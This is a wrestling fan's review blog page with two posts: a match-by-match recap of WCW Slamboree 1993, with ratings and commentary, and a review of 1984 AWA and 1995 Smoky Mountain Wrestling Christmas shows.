IMG Credit: WWE

Slamboree 1993
Date: May 23, 1993
Location: The Omni, Atlanta, Georgia
Attendance: 7,008
Commentators: Tony Schiavone, Larry Zbyszko

It’s another request and I’ve ignored my list of shows for long enough now. This is billed as A Legends Reunion, meaning we could be in for some older wrestlers stealing the show. That being said, it’s 1993 WCW so I wouldn’t get my hopes up. The main event is Davey Boy Smith challenging Vader for the World Title so the confidence isn’t the strongest. Let’s get to it.

The opening video talks about how the legends are here along with the superstars of today. Cool concept but the execution needs to work.

The legends (and there are a lot of them) are in the ring, including Nick Bockwinkel, Dory Funk Jr., Don Owen, Magnum TA, Lou Thesz Dusty Rhodes and many more.

Commentary welcomes us to the show, with Larry saying that time fears only the pyramids and old wrestlers.

Maxx Payne, with his guitar Norma Jean, plays a bunch of men carrying a covered….I guess the word is throne, to the ring. It’s the Fabulous Moolah, who belongs on a list of legends but it’s WEIRD seeing her in WCW.

2 Cold Scorpio/Marcus Bagwell vs. Bobby Eaton/Chris Benoit

Benoit was still brand new here, having had a match with Scorpio at SuperBrawl and a few TV matches. Other than that, he was basically a complete unknown on the national stage. Scorpio was one of roughly 34 partners Bagwell had during his three year run as Rookie Of The Year. We get some dancing from the faces to start, with Scorpio being a bit better than Bagwell. Benoit and Scorpio start things off with Scorpio sending him down with some early armdrags.

A spinning middle rope crossbody gets two on Benoit, with Eaton hitting his partner by mistake on the save. The villains are cleared from the ring and we settle down to Bagwell working on Eaton’s arm. Eaton is sent over the top, prompting commentary to try and figure out the over the top rule for the 183^rd time. Benoit is whipped into Eaton before a dropkick puts him on the floor as well.

Back in and Bagwell trades arm control with Eaton, who has Benoit distract the referee so he can throw Bagwell over the top. See that one was illegal because a villain did it and it’s too early for a Dusty Finish (if you have a better way to figure out that stupid rule, have at it). Eaton drops the top rope knee (always looks good) on Bagwell and it’s off to Benoit for that hook clothesline of his. Benoit jumps up to the middle rope for a legdrop before it’s back to Eaton.

That means a distraction so Benoit can choke (You can see Eaton walking them through all of these old southern tag spots and that’s great to watch. There’s an art to this and if you have someone who knows what he’s doing, you can get a heck of a match out of people who don’t have much in the way of characters or a feud.).

Benoit comes in for a belly to back suplex into a figure four necklock, with Eaton being right there to grab the hands for the cheating. The top rope splash hits Bagwell’s raised knees though and the hot tag brings in Scorpio to clean house. Everything breaks down with Eaton having to make a save. Eaton hits Benoit by mistake and it’s the Tumbleweed (moonsault twisting into a legdrop, because Scorpio was doing THAT in 1993) for the pin at 9:25.

Rating: C+. See, now this worked out very well and I had a good time with it because it was a nice mixture. You had Benoit and Scorpio there for all of the cool spots and wrestling, with Eaton there to throw in an old spot which would still work every time to tie it together. If you have the talented people in there and the right mixture of styles, you can have a nice match. Or just have Eaton, because he’s one of the best tag team wrestlers ever.

We recap Colonel Robert Parker being beaten up by Van Hammer for not joining up with the Stud Stable. Parker wants revenge, and this won’t end well.

Sid Vicious vs. Van Hammer

This is Sid’s big return as a surprise and it’s a powerbomb for the pin at 35 seconds. Oh yeah that worked, as tends to be the case when Sid keeps things short.

Bischoff is with Red Bastien (he trained the Undertaker) and Bugsy McGraw (hey did you know that Red Bastien trained the Undertaker). Bastien thinks the wrestlers today are younger and faster while McGraw gives his usual promo about everything. By that I mean he isn’t sure which way to turn, walks around a lot, and rambles because he’s kind of nuts. Eric looks a little confused, as most people do. They say hi to their families, and Bugsy thinks Bischoff has on too much makeup.

Dick Murdoch/Don Muraco/Jimmy Snuka vs. Wahoo McDaniel/Blackjack Mulligan/Jim Brunzell

I would ask if these teams were pulled out of a hat but they very well might be, and that’s kind of cool. Mulligan comes in to a big pop and starts cranking on Snuka’s arm. Murdoch grabs Mulligan’s hair from the apron though and the fight is on, with Mulligan grabbing some armdrags. Tony goes into a history of everyone in here, which is quite the fascinating set of details as Tony is trying here. Murdoch needs a breather on the ramp so it’s Muraco coming in, only to get chopped down by McDaniel.

The villains take McDaniel into the corner but he slugs away on Murdoch, allowing the tag off to Brunzell. Just to show off, Murdoch busts out a flying headscissors (Larry: “How could Murdoch get that stomach up that high???”) but Brunzell slaps on a quick sleeper. That’s broken up with ease though and Muraco comes back in with a powerslam. Muraco clotheslines Snuka by mistake but Murdoch is right back in with a neckbreaker.

Rating: C-. All in all, not too bad here as no one looked horrible or anything close to it. That being said, a no contest in a legends match??? They couldn’t have someone take a rollup pin here? That’s about as nuts as you can get on this show, but at least it wasn’t anything bad for the most part.

Mad Dog Vachon wishes he was in the ring and Mr. Assassin wants to fight Dusty Rhodes to settle things once and for all.

Ivan Koloff/Baron Von Raschke vs. Brad Armstrong/Thunderbolt Patterson

Brad, in street clothes, is substituting for Bob Armstrong, and we see clips of him anyway. Patterson says that Bob had a knee surgery and couldn’t be here. That’s all well and good, though I can’t get my head around a Nazi and a Russian teaming together. Patterson and Armstrong clear the ring in a hurry and the fans are rather pleased.

We settle down to Patterson dancing his way out of Raschke’s headlocks so it’s off to Armstrong working on Koloff’s arm. Tony is just firing off history and facts here and sweet goodness it’s amazing to hear this kind of commentary from his mouth. Armstrong gets out of the Claw and brings in Patterson for the gyrating comeback. Everything breaks down and Patterson hits a double chop to pin Raschke at 4:41.

Rating: D. Now this felt more like the bad match that you would have expected under the circumstances. It doesn’t help that Patterson was never good in the ring, Koloff looked old and Raschke has been old for the entire run of his career. That left Armstrong, who was a substitute in jeans. It was a weird fit, but at less than five minutes, it’s hard to get that annoyed.

And now, A Flair For The Gold (Ric Flair’s interview segment on a special set). Ric introduces Fifi the Maid (later his wife/life partner or whatever it is) and we hear Larry say “Hi John” in a line that wasn’t supposed to make air. Anyway Flair is ready to reunite the Horsemen and brings out Arn Anderson, who is ready to take the NWA World Title from Barry Windham. Now we have some bad news: Tully Blanchard isn’t here (in other words, they lied about having the original Horsemen here, which was a major selling point of the show), but Ole Anderson is! Uh, yay.

Ric has someone new on the team though….and it’s Paul Roma, marking probably the lowest point in the history of the Horsemen. Roma was nothing more than a low level/job guy in the WWF for years and now he’s supposed to be a Horseman. This is one of the all time biggest disappointments and it would never work, no matter how much Flair and Anderson tried to get him over. Complete misfire here, but would you expect anything less from 1993 WCW?

Johnny Valentine is on commentary. Ah that John.

Dory Funk Jr. vs. Nick Bockwinkel

Gene Kiniski and Verne Gagne are the seconds. It’s almost weird to see Bockwinkel, who is seven years older, looking ten years younger than Funk. Feeling out process to start with Bockwinkel going after the arm and Funk firing off the uppercuts for a less than scientific method. Bockwinkel’s hammerlock is taken into the corner for more uppercuts and a wristlock from Funk.

A headscissors with an armbar has Funk in trouble before Bockwinkel slams him down, sending Funk outside for a breather. Back in and Funk uppercuts him down, setting up another chinlock. Bockwinkel actually slugs his way out of the corner for two, with Kiniski possibly breaking up the pin. That means some glaring from Bockwinkel, allowing Funk to take him down with a front facelock.

Funk flips out of a Boston crab attempt and grabs a belly to back suplex for two. They fight over a double arm crank as we have five minutes left. You can hear some BORING chants as Funk uppercuts in the corner but Bockwinkel takes him down with a chinlock. Funk fights up and knocks him onto the ramp, setting up a suplex back in with two minutes left.

A piledriver plants Bockwinkel but he gets his foot on the rope. The backslide gives Bockwinkel two but Funk gets the spinning toehold. Bockwinkel grabs the Figure Four so Kiniski comes in for a stomp, which isn’t a DQ. Funk makes the rope and tries a small package but Bockwinkel is in the ropes as time expires at 15:00.

Rating: C. This was a little different as both guys can still do everything, but it wasn’t exactly thrilling. You could tell they were playing to the draw, which made a lot more sense in this match than in the six man. These two are top level legends and I can understand not wanting to say one is better than the other, though it only got exciting in the last few minutes.

Post match all four shake hands for the nice moment.

Lou Thesz is happy to be here and Bob Geigel liked the match. Thankfully Thesz is treated like the legend that he should be, though there is something weird about Mad Dog Vachon getting more time.

Rick Rude/Paul Orndorff vs. Kensuke Sasaki/Dustin Rhodes

Rude is US Champion and Orndorff is TV Champion. Rude mocks the much smaller (by comparison) Sasaki so Sasaki walks around him and shoves Rude HARD into the corner (Sasaki was fairly small but a powerhouse). It’s time to crank on Rude’s arm, with Sasaki picking him up without much effort. Rhodes comes in to work on Orndorff’s arm for a change and it’s Sasaki cranking on a hammerlock.

That doesn’t last long either so it’s back to Dustin vs. Rude in a rematch of how Rude won the US Title. Rhodes hammers away but gets sent outside for the crash on the floor. Back in and Rude snaps off a swinging neckbreaker before handing it back to Orndorff for an elbow to the face. Rude can’t hit a piledriver but Dustin can get in a Tombstone for two. That’s not enough for the hot tag though as Orndorff comes in to take Dustin into the corner, because Orndorff knows how to do the heel thing.

A double should gives us a double knockdown, allowing Dustin to roll over for the hot tag. Sasaki comes in with an atomic drop to Rude, meaning it’s time for a counter hip swivel. Some clotheslines set up a (half) gorilla press and Sasaki throws Rude at Orndorff, who ducks the contact in a landing that was funnier than it should have been. Everything breaks down and Orndorff shoves Sasaki off the top, setting up the Rude Awakening (not a great one) for the pin at 9:45, even with Sasaki flailing on the count.

Rating: C-. This felt like a featured match on Main Event or Saturday Night, meaning that while it was decent, there were some moments in there that looked rather sloppy. Rhodes was just kind of there as well, which is odd given that he was the main challenger for Rude at the moment. Not awful, but it was a weird kind of match.

It’s time for the inaugural Hall of Fame inductions, with Gordon Solie as Master Of Ceremonies. First, we run down a list of legends who have passed away, with one who will be announced later. After a moment, of silence, it’s time to announce the inductees, with each appearing in the ring and receiving a plaque.

Lou Thesz – Like anyone else could have been first.

Verne Gagne – They said this was going across all promotions and this is as good as anyone else.

Mr. Wrestling II – Not the biggest national name, but he was a huge star in his day.

Eddie Graham – If you’ve seen any modern finish, odds are he made it famous (represented by his son Mike).

Lord James Blears and John Tolos love wrestling, with Blears giving Missy Hyatt his monocle.

Sting vs. The Prisoner

That would be Nailz, this would be a Bounty Match (because someone wants Sting taken out) and Prisoner was supposed to be Scott Norton. Prisoner chokes him down to start and chokes even more in the corner, followed by even more choking in the middle. Sting avoids a charge in the corner and the strike off is on, with Prisoner sending him outside. That means a posting for Sting but he avoids a charge in the corner back inside. The Stinger Splash gets two but a regular splash hits knees. Prisoner goes after the referee so Sting goes up top for a clothesline and the pin at 5:17.

Rating: D. Nothing to see here as Prisoner wasn’t exactly good on his best day and he was even worse here. Sting was the top face in the company at this point and he was in a match against someone thrown out there to give him a victory. It was smart to get them out of there in a hurry though, as there wasn’t much that could be done in this case.

The cage is set up for the next match.

The Crusher, with big cigar, is ready to send Ox Baker’s head through a cage because he wrestled more cage matches than anyone else. Ox Baker loves to hurt people and did it better than Crusher. He loves everyone and nearly gets in a fight with Crusher, but hugs Eric Bischoff instead.

Tag Team Titles: Hollywood Blonds vs. Dos Hombres

The Blonds (Steve Austin/Brian Pillman, which I hope you knew already) are defending in a cage and….egads Dos Hombres. So the Blonds beat Shane Douglas and Ricky Steamboat to win the titles, so they dressed up like luchadors and stole a quick win to set up the title match. The catch though is Douglas had left the company before the angle happened, so it was Brad Armstrong under the mask in the first match and it’s Tom Zenk here, but commentary goes along with the idea of it being Douglas. Steamboat says they’re here for a title shot so you can hear his voice, but the other is silent for reasons of THAT’S NOT DOUGLAS.

We see two guys in the crowd who are….not exactly identified but they might be agents or the mob. Anyway Austin goes for Steamboat’s mask to start but gets chopped into the corner, meaning it’s Pillman coming in instead. Pillman is sent face first into the cage as Larry talks about how much he hates cages, so Tony talks about Larry vs. Sammartino for a bit. Zenk comes in to work on the arm and we look at the guys in the audience again. It’s off to Austin, who is sent back first into the cage over and over.

Steamboat’s backdrop sends Austin’s feet into the cage and then the rest of him goes in as well. Austin pokes Zenk in the eye though and it’s back to Pillman for a bit of an awkward sequence to set up some choking. Steamboat is back in to gorilla press Pillman into the cage and there’s a suplex into the cage to leave Austin hanging by his legs (cool visual). Steamboat mocks the Blonds’ camera deal and hands it back to Zenk, who is whipped into the cage instead of into Austin to put the champs in control for the first time.

Pillman starts choking away as Tony recaps the night and Larry tries to figure out who those guys at ringside are. Austin drops the middle rope elbow and Pillman slugs away, followed by the choking in the corner. A raised boot knocks Pillman out of the air but it’s right back to Austin, who is kicked into the cage. Pillman’s top rope splash hits raised knees as Larry talks about what a legend Austin will be in a few years. The hot tag brings in Steamboat for those chops of his as everything breaks down.

An electric chair out of the corner drops Austin and Pillman gets crotched on the top (Larry: “AND NO COMMENT!”) as everything breaks down. The Hombres hammer away in the corner and Steamboat takes off his mask (thank goodness) to hit a high crossbody onto both Blonds for….well two but the bell rings anyway but we keep going. Eh timekeepers screw up everywhere. Stereo dropkicks get stereo near falls for the Hombres but it’s a quick Stun Gun to give Austin the pin on Zenk at 16:08.

Rating: B-. It’s a match that was put on all kinds of DVDs for some reason, even though it wasn’t all that great. The Hombres deal was only so good but at least it was something to make the match a little more interesting. The talent was there (Zenk was good enough) but it was just kind of going along until the ending without much being built up.

On the replays, Larry says the high crossbody was a perfect impression of….Captain Planet.

The cage is taken down so we talk to Dusty Rhodes, Mr. Wrestling II and Stu Hart. Dusty accepts the Assassin’s challenge, Mr. Wrestling knows Dusty is ready to accept the Assassin’s challenge (and thanks WCW for all of the honors) and Hart talks about wrestling being in his family. He hopes British Bulldog wins tonight, which is about as emotional as Hart was going to get.

NWA World Title: Barry Windham vs. Arn Anderson

Barry is defending as I continue to be astounded by the NWA still being around in such a role in 1993. Anderson shoulders him down for a fast two as commentary puts over what a big night it is for him. Barry knocks him back into the corner as we talk about how big a night it is for the Horsemen. Dude Paul Roma joined the team. There’s nothing big about that other than a big mistake.

A quick DDT gives Arn two and Windham bails out to the ramp. They switch places and Windham gets in a knee lift to stagger Arn, followed by knocking him out of the air. Anderson manages to leverage him from the apron to the floor, meaning it’s time to figure out the over the top rule too. Barry goes head first into the barricade, which is legal in the NWA but illegal in WCW, so the match keeps going. It keeps going with Barry cut open on the forehead, but it does keep going.

Back in and we hit the chinlock, only to have Windham pop up and dropkick him off the top. Back in again and a top rope clothesline drops Anderson, setting up a knee drop to the back for two. Half of Windham’s face is covered in blood but he’s fine enough to hit a floatover suplex for another near fall. Anderson gets in the spinebuster for a big reaction but Windham rolls to the floor and grabs the belt. The referee gets bumped as Barry is leaving so Anderson throws him back in. Anderson knocks the referee down again by mistake though and it’s a belt shot to give Barry the pin at 10:56.

Rating: B. I’ve always liked both guys and this was one of Arn’s biggest singles matches ever so it’s no surprise that the results worked. The NWA didn’t mean anything by this point and Barry would lose the title to the returning Ric Flair at the next pay per view, but at least they had one good, old school match here before Windham faded into complete obscurity.

WCW World Title: Big Van Vader vs. British Bulldog

The Bulldog is challenging and Vader has Harley Race with him. They fight over the power game to start with neither being able to get very far. Vader’s shoulder doesn’t send Bulldog anywhere and Vader needs to think about that. Another shot has Bulldog bouncing off the ropes but he’s right back in Vader’s face. With that not working, Vader just unloads on him in the corner (Vader could do that like no one else) and Bulldog is knocked outside for a shot from Race.

Vader goes outside too but gets knocked over the barricade for his efforts. Back in and Bulldog manages the delayed vertical suplex (my eyes popped open) but Vader kicks him away. The middle rope dive into the powerslam (take a shot) sets up a running clothesline to put Vader on the floor again. Back in and Vader just blasts him to take over and drops an elbow on the leg.

The Vader Bomb gets two and Vader hits him in the face a few times. Vader’s middle rope standing body splash has Bulldog in more trouble and it’s time to hammer away in the corner again. They fight over a superplex until Bulldog throws him face first down onto the mat. A headbutt stuns Bulldog more than Vader and there’s a hard clothesline to put Bulldog down again.

Vader misses a sitdown splash though and Bulldog gets two, only to have Vader hit him in the face for another knockdown. There’s a top rope splash but Vader bangs up his ribs in the process. To mix it up a bit, Vader pounds him down in the corner and now the sitdown splash connects. We hit the reverse chinlock but Bulldog lifts him up into an electric chair, as you do to VADER. Bulldog manages the powerslam but Race makes the save. They head outside and it’s a chair to Bulldog for the DQ at 16:14.

Rating: C+. This was good to start but then went a bit long in the middle and had a lame ending. The problem was they kind of ran out of ways to do things to each other and that made for a pretty long ten or so minute stretch, which is quite a bit too much in a match like this. Bulldog was rolling at the beginning, but this needed to be about four minutes shorter.

Post match Vader loads up a powerbomb but Sting comes in for the save.

Magnum TA thinks that was great and they’re not done.

Verne Gagne thinks that was neat and we’re out.

Roll credits.

Overall Rating: B-. It was quite an up and down show which isn’t all that surprising. The legends stuff was probably a lot more interesting than what we would have gotten from a regular show from the era, but stuff like not delivering the Horsemen and having Roma as a sub was a big hit. Nothing is a blow away match but you have more than enough stuff to make the time go by. I liked it well enough and it’s nice to have something to get away from the modern stuff for a change.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Hidden Gems #9
Date: 1984, 1986, 1995

It’s the third of four sets of these Christmas shows and of course it’s more AWA because there’s nothing else to possibly air. These things are a complete hit and miss collection and while that can make for some fun surprises, it can also make for some absolutely terrible stuff. Let’s get to it.

AWA House Show
Date: December 25, 1984
Location: St. Paul Civic Center, St. Paul Minnesota
Attendance: 13,000
Commentator: Ron Trongard

Billy Robinson vs. Steve Olsonowski

Robinson is freshly heel and jumps Steve to start before sending him into the corner a few times. Steve gets sent into the buckle three times in a row and then tossed outside as Robinson is being more aggressive than usual. Back in and Robinson stomps away, followed by a loud right hand to put Steve on the floor. This time though Steve grabs Robinson’s leg and wraps it around the post to give himself an opening.

Robinson takes a breather of his own on the floor and calmly stands on the apron because he’s smart enough to know the referee will protect him there. A backbreaker takes Steve down but it bangs up Robinson’s knee all over again. It’s time to start on the knee for real with a hamstring stretch and an elbow onto the leg.

Robinson bails to the rope to get out of a leg crank so Steve elbows him out to the floor. We’re told it’s five minutes in at six minutes, which is a reversal from what you usually get. Back in and a sunset flip gives Steve two and the knee is damaged even worse. The leglock goes on again but Robinson is finally smart enough to use the good leg to break it up.

Steve is right back to the rope as they’re certainly sticking with the formula that has worked so far. They do it again at the ten (eleven) minute mark but this time Robinson goes to the eyes to get out. The comeback is on with Steve being knocked around the ring, including getting choked on the rope. Steve is right back with a backbreaker and dropkick for two but a middle rope elbow misses, giving Robinson the pin at 13:01.

Rating: C. I was getting into this one and would have liked it more if they had a few different things going on instead of the same formula over and over. The ending didn’t help either as Robinson literally just covered after Steve messed up. I’ve seen a good bit out of Olsonowski lately and he’s a steady hand in the ring, which is something you can always use.

Steve Regal vs. Baron Von Raschke

Say it with me: not THAT Steve Regal. We hit the stall button to start as Regal yells at a fan and then chills in the corner a bit. Baron goes outside to shake hands with the fan, which takes enough time that Regal hits Baron in the face to get things going. Some stomps keep Baron in trouble on the way back in but is fine enough to send Steve into the buckle a few times.

A headlock slows Baron down and an elbow to the head sets up the chinlock. The five minute call is accurate this time as the clock must have been fixed. Baron fights up and hits one heck of a backdrop to get another breather. The threat of the Claw sends Regal bailing to the floor but he comes back in and offers a scared handshake.

Some stomping in the corner sends Regal outside again so he comes back in (again) and hammers away. We go back to the chinlock and then a headlock to mix things up a bit. Oh wait never mind as the chinlock goes on again. Baron finally (and I do mean finally) breaks it up with an atomic drop….but Regal punches him in the face and puts on a front facelock.

Regal gets caught choking and the hold is broken so it goes right back on. With five minutes left, Regal sends him head first into the mat a few times, causing Baron to Baron Up. A backdrop takes care of that but Regal misses an elbow so Raschke can really start the comeback. The Claw goes on and Regal gives up at 17:13.

Rating: D-. Nope. This is the definition of the old school match that is nothing but laying around in holds for the most part. There’s nothing going on in those chinlocks and headlocks with both guys just laying there on the mat for a few minutes at a time. If they weren’t doing that then they were stalling on the floor, making this a truly mind numbing experience. That kind of a match can work and it can work very well, but this was terrible.

Mr. Saito vs. Jim Brunzell

Joined in progress with Saito coming back inside and getting taken down by the knee. Saito reverses a leglock into a cross armbreaker so Brunzell rolls around trying to break it for the better part of two minutes. The BORING chants are on, which you knew was coming after the previous match. Brunzell reverses into a leglock from behind but Saito gets up and rakes the eyes for the break.

We hit the ten minute mark, meaning they skipped about five and a half minutes. The sleeper has Brunzell in trouble, but unlike the Baron he does more than just sit there, which already makes this match better. A rope gets Brunzell out of trouble so the sleeper goes on again. Brunzell’s comeback is countered with a ram into the buckle and it’s time for him to take a breather on the floor.

Saito goes after him and gets pulled down so Brunzell can wrap the leg around the post (same sequence, even the same post, as the Robinson match). The Figure Four goes on (good one too) and it’s kind of a weird visual since Saito wrestles barefoot. With five minutes left, Saito grabs Brunzell’s leg to break things up but opts to turn it over and hurt Brunzell’s leg instead. Brunzell hammers away on the mat with forearms to the head and the Figure Four goes on again.

It’s reversed again, with Trongard being surprised that it would hurt Brunzell. I’m still not sure on the physics of that one. Brunzell doesn’t realize that he’s next to the rope and spends forever turning it over again for the break. The abdominal stretch keeps Brunzell in trouble until he reverses into one of his own with thirty seconds left. That’s broken up as well and Saito blocks a sunset flip until time expires at 14:17 shown of 20:00.

Rating: D+. This was still dull but they did a far, far better job of keeping the fans entertained. The leg stuff was the same thing that happened to Robinson but the effort here made it better than the previous match. It also helps that most of the matches on this show have come close to the time limit so the draw wasn’t the most obvious thing in the world. Still kind of dull, but light years better than it could have been.

Post match they keep brawling until the official decision.

Curt Hennig vs. Nick Bockwinkel

Hennig would explode into a major star down the road around here. Again joined in progress but it seems to be right after the bell. Bockwinkel starts with the hard forearms to the face, followed by the knees to the ribs to put Hennig outside. Hennig’s head is rammed into the apron a few times as it’s all Bockwinkel so far. Some more forearms off the apron keep Hennig down until he finally pulls Bockwinkel down by the knee (learn a new match layout) and hammers away at the five minute mark (Yeah they clipped all of three seconds. Why not just show the opening bell?).

This time it’s Bockwinkel being knocked outside and it’s a suplex to bring him back in. A double clothesline knocks both guys down and it’s Bockwinkel up with some knees to the ribs for two. Bockwinkel’s sleeper is broken up with a ram into the corner and it’s time to hammer away on Hennig in the corner. Hennig comes back with right hands and a headknocker (picture the start of a piledriver but Hennig jumps up and lands on the back of Bockwinkel’s head), setting up a sunset flip for two.

With that not working, Hennig gets two off a sunset flip. That was close so to mix it up a bit, Hennig sunset flips him for a near fall. Tired of having his sunset flipped, Bockwinkel takes him down into a Figure Four, which is turned over. For some reason Hennig grabs the rope while it’s reversed, suggesting that physics don’t work the same around here. Bockwinkel continues the AWA philosophy of “if a hold is broken, put it right back on” so Hennig makes the rope even faster this time. Bockwinkel tries it a third time and knowing what’s coming, Hennig small packages him for the pin at 14:21.

Rating: C. The energy was better here and they had a much better story throughout with Bockwinkel trying everything he could to finish Hennig but not being able to pull it off. Hennig was still very young here but it was nice to see them trying to make a big star for a change. He clearly had all the tools save for the experience though and pushing him made sense.

Post match the livid Bockwinkel sends him head first into the post to blow off some steam. Hennig is busted open and Bockwinkel adds a pair of piledrivers. Referees and wrestlers break it up but Bockwinkel manages to add in a chair shot to the head. They break it up again and Bockwinkel gets over again to stomp away. The post match beatdown was over five minutes long.

Greg Gagne/Jerry Blackwell vs. Masked Superstar/King Kong Brody

It’s a brawl to start with Gagne kneeing Superstar outside. Brody kicks Blackwell in the face and takes over. The villains alternate with their boots on Blackwell until Superstar puts on a front facelock. Superstar gets shoved away though and it’s off to Gagne for his weird dropkick on Brody.

Blackwell chokes from the apron but Brody is fine enough to block a monkey flip and put Gagne in trouble. The piledriver is broken up but Brody sends Gagne right back into the corner. Superstar’s flying headbutt sends Gagne outside and it’s time to walk around the ring a few times.

Back in and Gagne slips over for the tag to Blackwell so house can be cleaned. Blackwell drops an elbow and the big splash for two on Brody. Stereo dropkicks (Blackwell’s is a jumping foot to the stomach) put the villains down and Blackwell powerslams Brody but the ref gets bumped. With the ref down, an ax handle knocks Blackwell out for the pin at 10:29.

Rating: C-. This was energetic but not very good. One of the most consistent problems with the AWA shows is I have no idea how we got to this match. The commentary very rarely offers any details as it’s all about the wrestling, which is fine but not the most informative thing in the world.

Post match Blackwell gets beaten down even more until Greg Gagne makes the save. Blackwell headbutts the referee for not being there to count his pin.

A Tag Team Title match with the Road Warriors defending against the Fabulous Ones in a no contest is cut here.

AWA World Title: Jimmy Garvin vs. Rick Martel

Martel is defending and Garvin has Precious in his corner. Trongard says that this is a repeat of something that happened before. Now we’re not told what that thing is, but something did indeed happen. Garvin starts fast with some knees to the ribs so Martel snaps off a dropkick to send him outside. An early Precious distraction doesn’t work as Martel grabs an atomic drop and punches away.

The hammerlocking begins with Martel adding a knee drop for a bonus. Since this is the AWA, the hold stays on for a few minutes, though at least Martel keeps moving to keep things a little more fresh. Garvin is right back with an armbar of his own, followed by some legdrops to the arm. The champ comes back with his own armdrag into an armbar, which is almost all we’ve seen in the match so far.

A few kicks send Garvin outside and he wants a timeout. The delay seems to work very well for him as he comes back in and takes over with a chinlock. Martel’s comeback is cut off with another chinlock into the reverse chinlock for a special twist. Martel fights up and gets sent over the top, which Garvin denies and actually gets away with thanks to Precious.

Another comeback works a little bit better this time as Martel hiptosses him down and gets in a long series of right hands to FINALLY wake the fans up. A slingshot splash gives Martel two and he hammers away in the corner until the referee pulls him off. That lets Precious slip in a foreign object so Garvin can knock Martel cold for the pin and the title at 17:00.

Rating: D. While there were worse matches on the card, this was another dull one full of chinlocks and rest holds that killed the interest. Martel was trying and had his good, fired up comeback, but he doesn’t feel like a top star and this didn’t feel like a World Title match. You know the ending isn’t going to stand either, which makes this a pretty weak way to end the show.

And never mind as matchmaker Wally Karbo reverses the decision to keep the title on Martel to end the show. That makes sense as you wouldn’t want a face looking strong around here. Of the seven matches on the card, the faces went 2-3-2 with the two wins coming either via DQ with Martel after he was pinned or via fluke by Hennig, who was beaten senseless after. Even when the young faces won, they didn’t exactly look good in the process. How AWA of the show.

Thankfully we can get away from the AWA a bit and jump ten years forward to Smoky Mountain, which I haven’t seen much of over the years. I’m not completely sure when or where this was filmed, as the event was held over several nights in different cities. The date listed on the Network is two weeks later, so I’d assume this is the version that eventually aired on television.

Christmas Chaos 1994
Date: January 7, 1995
Commentators: Jim Ross, Les Thatcher, Buddy Landel

Opening sequence.

Yep it’s a studio show.

The announcers welcome us to the show and aren’t happy to see Buddy (TV Champion), who has bought the TV time. He wants to talk about what happened on Christmas night in Knoxville and as luck would have it, here we go.

SMW Title: Dirty White Boy vs. Buddy Landel

Landel is challenging and his TV Title isn’t on the line. Joined in progress with White Boy in trouble and Landel yelling at the fans in between stomping. The Figure Four (because Landel was a Ric Flair knockoff/tribute, albeit very talented as well) is broken up twice in a row and White Boy grabs a DDT for a breather. Landel pulls out a chain but White Boy takes it away and knocks Landel cold for the DQ at 2:25 shown.

Post match White Boy beats him up even more.

Landel remembers beating the White Boy’s brains in and wants a rematch on January 28. White Boy wants to face Jerry Lawler and Landel would pick him too because White Boy knows he can’t beat Landel. The White Boy is on his way out here so Landel suddenly remembers a conference call in Los Angeles.

We get a video from Jerry Lawler in a locker room where he finds a drunken man underneath a pile of clothes, which apparently is the drunken White Boy. That’s typical for a horrible place like Knoxville, which is the dumb end of Tennessee. Lawler is coming to Knoxville at Super Saturday Night Fever because he wants the title that White Boy holds out the window of his pickup truck when he rides around with the Dirty White Girl.

Back in the studio, the White Boy talks about how he isn’t scared of Lawler or Landel so he’ll face both of them at Super Saturday Night. Landel’s match can be non-title though and we’ll see how he likes that.

Bruiser Bedlam (Oh dear what a character. Convicted of assault, drug trafficking and blowing up a police station, plus accused of several murders. He also pinned Randy Savage.) calls Jim Ross an idiot so Ross throws him out.

From December 5 in Princeton, West Virginia.

Cactus Jack vs. Bruiser Bedlam

Bedlam is having issues with his manager Jim Cornette. They trade shoulders to start and that’s a BANG BANG from Jack. Landel jumps in on commentary to rant about how awesome he is as Landel grabs a headlock. Bedlam slugs Jack out to the floor, which just seems to fire him up. Back in and Jack hammers away with forearms in the corner, followed by a chair to the back. As Landel rants about his upcoming match being non-title, Bedlam powerslams Jack for two and frustration sets in. Some brass knuckles to the head knock Jack silly but here is Brian Lee to point it out to the referee, meaning it’s a DQ at 5:27.

Rating: D+. They beat each other up here for a little while and that’s all it needed to be. There was no point in trying to have a wrestling match here so it was two brawlers fighting instead. That’s how things should have gone and the match was entertaining enough. I wasn’t wild on the finish, but the rest was entertaining enough.

From Christmas night in Knoxville.

Chris Candido/Boo Bradley vs. Tracy Smothers/Cactus Jack

Falls Count Anywhere. Tracy is replacing Brian Lee, who had transportation problems. If Bradley (Balls Mahoney) doesn’t take care of Jack, Tammy Fytch (Sunny) will THROW BRADLEY’S CAT OFF A BRIDGE. They don’t play around here. Candido chairs Smothers off the apron and Jack is in trouble. Smothers comes back in to pull Jack out of the way, causing Bradley’s top rope splash to hit Candido instead. That’s enough for Jack to steal the pin at 57 seconds shown.

Post match Candido yells at Boo, who the fans get behind. Candido slaps Boo and gets knocked down but here’s Fytch with the cat. With Bradley taken out by a chain, Fytch puts the cat back in the bag and runs off, sending everyone in a chase. They come back into the arena with Candido carrying the bag (I think you get the idea here) and Bradley hammering away. Fytch hairsprays Bradley, allowing Candido to drop the top rope leg on the bag. Candido and Fytch leave and Bradley is devastated (I mean, not as devastated as the cat) so here’s Cactus Jack to console him. Rather hot angle here.

Candido and Fytch have both been suspended and are rather unhappy. When that ends, Candido has to face Bradley.

Jack and Bradley have a funeral for the cat with Jack telling Bradley that he has to step out of Candido’s shadow. Bradley says Candido is his enemy now and Candido won’t like him when he’s angry.

From Christmas night in Knoxville again.

Tag Team Titles: Rock N Roll Express vs. Gangstas

The Gangstas are defending and Jim Cornette is managing the Express to make sure the sky is falling in Knoxville. Joined in progress again with everything breaking down and New Jack hitting Gibson with a slap jack. New Jack goes after Cornette though and it’s a tennis racket shot from Morton for the pin and the titles at 1:18 shown.

Post match the Gangstas beat down the Express but Cornette makes the save with the racket n one of the most bizarre scenes I can remember in a long time. The Gangstas get back up and destroy Cornette as Gangstas’ associate D’Lo Brown comes in to help with the beating. Cactus Jack and the Dirty White Boy make the save.

In the back, the Express praises Cornette for doing what he promised to do and then taking a heck of a beating. Cornette now has an open invitation to manage the Express against the Gangstas anytime. Cornette staggers in, COVERED in blood, saying he needs a phone.

